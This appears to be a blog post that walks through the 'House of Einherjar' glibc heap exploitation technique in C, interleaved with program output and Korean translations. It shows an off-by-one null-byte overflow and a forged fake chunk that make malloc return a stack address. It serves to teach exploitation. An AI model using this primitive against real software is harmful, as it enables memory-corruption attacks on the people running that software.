#include "stdio.h"
#include "stdlib.h"
#include "string.h"
#include "stdint.h"
#include "malloc.h"

/*
   Credit to st4g3r for publishing this technique
   The House of Enherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
   This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak. 
*/

int main()
{
	printf("Welcome to House of Einherjar!\n");
	printf("Tested in Ubuntu 16.04 64bit.\n");
	printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

	uint8_t* a;
	uint8_t* b;
	uint8_t* c;
	uint8_t* d;

	printf("\nWe allocate 0x38 bytes for 'a'\n");
	a = (uint8_t*) malloc(0x38);
	printf("a: %p\n", a);
    
    int real_a_size = malloc_usable_size(a);
    printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);

    // create a fake chunk
    printf("\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n");
    printf("However, you can also create the chunk in the heap or the bss, as long as you know its address\n");
    printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
    printf("(although we could do the unsafe unlink technique here in some scenarios)\n");

    size_t fake_chunk[6];

    fake_chunk[0] = 0x41414141; // prev_size not used
    fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
    fake_chunk[2] = (size_t) fake_chunk; // fwd
    fake_chunk[3] = (size_t) fake_chunk; // bck

    printf("Our fake chunk at %p looks like:\n", fake_chunk);
    printf("prev_size (not used): %#lx\n", fake_chunk[0]);
    printf("size: %#lx\n", fake_chunk[1]);
    printf("fwd: %#lx\n", fake_chunk[2]);
    printf("bck: %#lx\n", fake_chunk[3]);

	/* In this case it is easier if the chunk size attribute has a least significant byte with
	 * a value of 0x00. The least significant byte of this will be 0x00, because the size of 
	 * the chunk includes the amount requested plus some amount required for the metadata. */
	b = (uint8_t*) malloc(0xf8);
    int real_b_size = malloc_usable_size(b);

	printf("\nWe allocate 0xf8 bytes for 'b'.\n");
	printf("b: %p\n", b);

    printf("We allocate a 3rd chunk to make sure we don't touch the wilderness (not necessary)\n");
    c = malloc(0x60);
	printf("c: %p\n", c);

	uint64_t* b_size_ptr = (uint64_t*)(b - 8);
    /* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/

	printf("\nb.size: %#lx\n", *b_size_ptr);
	printf("b.size is: (0x100) | prev_inuse = 0x101\n");
	printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
	a[real_a_size] = 0; 
	printf("b.size: %#lx\n", *b_size_ptr);
    printf("This is easiest if b.size is a multiple of 0x100 so you "
           "don't change the size of b, only its prev_inuse bit\n");
    printf("If it had been modified, we would need a fake chunk inside "
           "b where it will try to consolidate the next chunk\n");

    // Write a fake prev_size to the end of a
    printf("\nWe write a fake prev_size to the last %lu bytes of a so that "
           "it will consolidate with our fake chunk\n", sizeof(size_t));
    size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
    printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
    *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

    // free b and it will consolidate with our fake chunk
    printf("Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
    free(b);
    printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
    printf("We edit our fake chunk size so that it is small enough to pass size checks\n");
    printf("This wouldn't be necessary if our fake chunk was the top chunk (if we hadn't allocated c)\n");

    fake_chunk[1] = 0x1000;
    printf("New fake_chunk size: %#lx\n", fake_chunk[1]);

    printf("\nNow we can call malloc() and it will begin in our fake chunk\n");
    d = malloc(0x200);
    printf("Next malloc(0x200) is at %p\n", d);
}


Welcome to House of Einherjar!

Tested in Ubuntu 16.04 64bit.

This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak.

이기술은 poison null byte보다 강력한 원리이다. 하지만 heap leak이 필요하다.


This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.

이 기술은 null바이트가 있는 malloc된 지역에 off-by-one(한끝차이로 발생하는 취약점)을 가질때 사용될 수 있다.

	uint8_t* a;
	uint8_t* b;
	uint8_t* c;
	uint8_t* d;

	printf("\nWe allocate 0x38 bytes for 'a'\n");
	a = (uint8_t*) malloc(0x38);
	printf("a: %p\n", a);
int real_a_size = malloc_usable_size(a);

We allocate 0x38 bytes for 'a'

'a'에 38바이트를 할당한다.


a: 0x1927420(a)


Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: 0x38

우리는 'a'가 overflow되길 원하기 때문에, 0x38이 반올림된 a의 진짜 크기가 필요하다


We create a fake chunk wherever we want, in this case we'll create the chunk on the stack

우리는 fake chunk를 우리가 원하는 곳에 어디든 만든다. 이 경우 우리는 스택에 청크를 만들 것이다.


However, you can also create the chunk in the heap or the bss, as long as you know its address

그러나 당신은 또한 heap이나 bss영역에 만들수 있다. 우리가 그 주소를 알기만 한다면말이다.


We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks

(although we could do the unsafe unlink technique here in some scenarios)

우리는이것의 fwd와 bck(fd와 bk)포인터를 fake_chunk로 향하게 한다. unlink check를 패스하기 위해서이다.

그럼에도 불구하고 우리는 unsafe unlink 기술을 이 시나리오에서 사용할 것이다.

    size_t fake_chunk[6];

    fake_chunk[0] = 0x41414141; // prev_size not used
    fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
    fake_chunk[2] = (size_t) fake_chunk; // fwd
    fake_chunk[3] = (size_t) fake_chunk; // bck

Our fake chunk at 0x7ffe9a0f8ad0 looks like:

prev_size (not used): 0x41414141

size: 0x100

fwd: 0x7ffe9a0f8ad0

bck: 0x7ffe9a0f8ad0


(fake 청크의 모양)


/* In this case it is easier if the chunk size attribute has a least significant byte with
	 * a value of 0x00. The least significant byte of this will be 0x00, because the size of 
	 * the chunk includes the amount requested plus some amount required for the metadata. */
	b = (uint8_t*) malloc(0xf8);
    int real_b_size = malloc_usable_size(b);

We allocate 0xf8 bytes for 'b'.

b에 0xf8바이트를 할당한다


b: 0x1927460


We allocate a 3rd chunk to make sure we don't touch the wilderness (not necessary)

세번째 청크를 할당하면 우리가 wilderness를 건드리지 않게 해준다(꼭 필요하지는 않음)

    c = malloc(0x60);

c: 0x1927560

	uint64_t* b_size_ptr = (uint64_t*)(b - 8);
    /* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/

b.size: 0x101

b.size is: (0x100) | prev_inuse = 0x101


We overflow 'a' with a single null byte into the metadata of 'b'

우리는 a를 하나의 null byte로 b의 metadata로 overflow한다

a[real_a_size] = 0; 

b.size: 0x100

This is easiest if b.size is a multiple of 0x100 so you don't change the size of b, only its prev_inuse bit

이것은 b의 size가 0x100의 배수이면 엄청 쉽다. 그래서 너는 b의 size는 바꾸지 말고 이것의 prev_inuse bit만 바꿔라


If it had been modified, we would need a fake chunk inside b where it will try to consolidate the next chunk

만약 수정되었다면 우리는 다음 청크를 통합하려고 하는 b내부의 fake chunk가 필요하다.


We write a fake prev_size to the last 8 bytes of a so that it will consolidate with our fake chunk

우리는 가짜 prev_size를 a의 마지막 8바이트로 씀으로써 이것이 우리의 fake chunk와 통합될 것이다.

size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
Our fake prev_size will be 0x1927450 - 0x7ffe9a0f8ad0 = 0xffff80016782e980
    *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

    // free b and it will consolidate with our fake chunk
Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set
이제 우리는 b를 free하고 b의 prev_inuse가 set되어있지 않기 떄문에 이것은 우리의 fakechunk를 통합한다.
    free(b);
Our fake chunk size is now 0xffff80016782ea81 (b.size + fake_prev_size)
우리의 fakechunksize는 이제 ~이다.

We edit our fake chunk size so that it is small enough to pass size checks
우리는 우리의 fake chunk size를 수정할수 있고 size check를 통과할수있을만큼 수정할 수 있다.

This wouldn't be necessary if our fake chunk was the top chunk (if we hadn't allocated c)
만약 fakechunk가 topchunk였다면(c를 할당하지 않았다면) 필요하지는 않다.
   fake_chunk[1] = 0x1000;
New fake_chunk size: 0x1000

Now we can call malloc() and it will begin in our fake chunk
이제 우리는 malloc을 호출하고 우리의 fakechunk를 시작한다.
   d = malloc(0x200);
Next malloc(0x200) is at 0x7ffe9a0f8ae0


+ Recent posts